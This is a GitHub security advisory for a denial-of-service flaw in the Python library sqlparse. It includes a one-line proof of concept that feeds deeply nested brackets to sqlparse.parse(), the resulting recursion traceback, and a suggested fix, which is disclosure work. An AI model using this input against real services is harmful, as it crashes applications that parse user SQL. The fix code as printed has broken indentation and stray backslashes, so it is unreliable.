GHSA-2m57-hf25-phgg: sqlparse parsing heavily nested list leads to Denial of Service

1. GitHub Advisory Database
2. GitHub Reviewed
3. GHSA-2m57-hf25-phgg

sqlparse parsing heavily nested list leads to Denial of Service

Package

pip sqlparse (pip)

Affected versions

< 0.5.0

Summary

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC

Running the following code will raise Maximum recursion limit exceeded exception:

import sqlparse sqlparse.parse('[' * 10000 + ']' * 10000)

We expect a traceback of RecursionError:

Traceback (most recent call last): File "trigger_sqlparse_nested_list.py", line 3, in <module> sqlparse.parse('[' * 10000 + ']' * 10000) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse return tuple(parsestream(sql, encoding)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run stmt = grouping.group(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group func(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets _group_matching(tlist, sql.SquareBrackets) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching tlist.group_tokens(cls, open_idx, close_idx) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens grp = grp_cls(subtokens) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__ super().__init__(None, str(self)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__ return '’.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr> return '’.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() [Previous line repeated 983 more times] RecursionError: maximum recursion depth exceeded

Fix suggestion

The flatten() function of TokenList class should limit the recursion to a maximal depth:

from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

def flatten(self, depth\=1):
    """Generator yielding ungrouped tokens.
    This method is recursively called for all child tokens.
    """
if depth \>= MAX\_DEPTH:
    raise SQLParseError('Maximal depth reached')
    for token in self.tokens:
        if token.is\_group:
            yield from token.flatten(depth + 1)
        else:
            yield token

Impact

Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.

References

• GHSA-2m57-hf25-phgg
• andialbrecht/sqlparse@b4a39d9

Published to the GitHub Advisory Database

Apr 15, 2024